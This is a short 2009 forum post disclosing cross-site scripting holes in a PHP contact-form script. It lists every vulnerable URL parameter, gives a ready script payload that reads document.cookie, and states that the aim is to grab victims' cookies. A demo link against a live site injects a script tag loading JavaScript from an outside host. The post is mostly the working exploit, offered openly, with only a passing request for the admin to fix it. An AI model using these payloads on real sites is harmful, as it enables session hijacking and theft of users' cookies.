I'm XaDoS and my work it's find the vulnerability in a web apllications and scripts.
This script Is affected by some XSS vulnerability: ALL THE PARAMETER
so please..admin fix it
[+]Exploit:

www.example.com/script_formpro.php?company=[XSS]&name=[XSS]&address=[XSS]&zipcity=[XSS]&phone=[XSS]&email=[XSS]&hash=&Submit=Send&do=send&request=[XSS]&limited=[XSS]&income=[XSS]

where [XSS] = "><script>alert(document.cookie)</script>

for grab the cookies of victim user or include some bad java script code.

[!] DEMO:

http://www.planetluc.com/en/scripts_for … t>alert(document.cookie)</script><script src="http://www.securitycode.it/x.js"></script>

g00d byezz
### XaDo

Last edited by XaDoS (09-03-2009 21:06:20)